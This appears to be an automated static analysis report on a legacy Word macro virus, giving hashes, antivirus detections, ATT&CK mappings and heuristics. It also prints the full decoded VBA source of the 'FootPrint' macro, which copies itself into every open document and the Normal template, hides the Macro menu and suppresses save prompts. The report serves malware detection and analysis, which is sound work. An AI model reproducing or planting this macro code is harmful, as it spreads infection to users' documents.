Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9bc3c34f19359d29…

MALICIOUS

Office (OLE)

29.0 KB Created: 1997-04-26 17:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: eb8facc0fb7fc1dc165cb53e71031c17 SHA-1: 087348b92eb7379b885d7ea76f00fc884704538e SHA-256: 9bc3c34f19359d296e41027154105d1d0ac4e8ef2eb03798da919117317a3c99
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros with AutoOpen and Document_Open subroutines, indicating an attempt to execute code upon opening the document. The script attempts to export and manipulate its own VBA code, potentially to obfuscate its actions or prepare for payload execution. The ClamAV detections 'Doc.Trojan.FootPrint-4' and 'Doc.Trojan.Beast-11' further support a malicious classification.

Heuristics 5

  • ClamAV: Doc.Trojan.FootPrint-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FootPrint-4
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2290 bytes
SHA-256: 24d0a46d93fef1987e7ecf74f53c1b20abd15ee873beb382d747ab933e0459cf
Detection
ClamAV: Doc.Trojan.Beast-11
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Sub AutoOpen()
  If DateDiff("s", CDate(GetSetting("3BEPb", "Startup", "date", 0)), Time) > 300 Then
    ActiveDocument.Shapes("3BEPb").Activate
    Selection.HomeKey Unit:=wdStory
    CommandBars("Tools").Controls("Macro").Visible = False
    Options.SaveNormalPrompt = False
  End If
End Sub
'FootPrint
Private Sub Document_Close()
On Error Resume Next
Kill "c:\footprint.$$?"
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Dim al As String
Dim adoc As Document
Dim atpl As Template
Dim CoL As Integer
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
    Line Input #1, al
    Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
    adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName
    If Not adoc.CustomDocumentProperties("FootPrint1") Then
        adoc.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = adoc.VBProject.VBComponents("ThisDocument").codemodule.CountOfLines
        adoc.VBProject.VBComponents("ThisDocument").codemodule.deletelines 1, CoL
        adoc.VBProject.VBComponents("ThisDocument").codemodule.AddFromFile "c:\footprint.$$1"
    End If
Next
For Each atpl In Templates
    If Not atpl.CustomDocumentProperties("FootPrint1") Then
        atpl.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = atpl.VBProject.VBComponents("ThisDocument").codemodule.CountOfLines
        atpl.VBProject.VBComponents("ThisDocument").codemodule.deletelines 1, CoL
        atpl.VBProject.VBComponents("ThisDocument").codemodule.AddFromFile "c:\footprint.$$1"
    End If
Next
NormalTemplate.Save
End Sub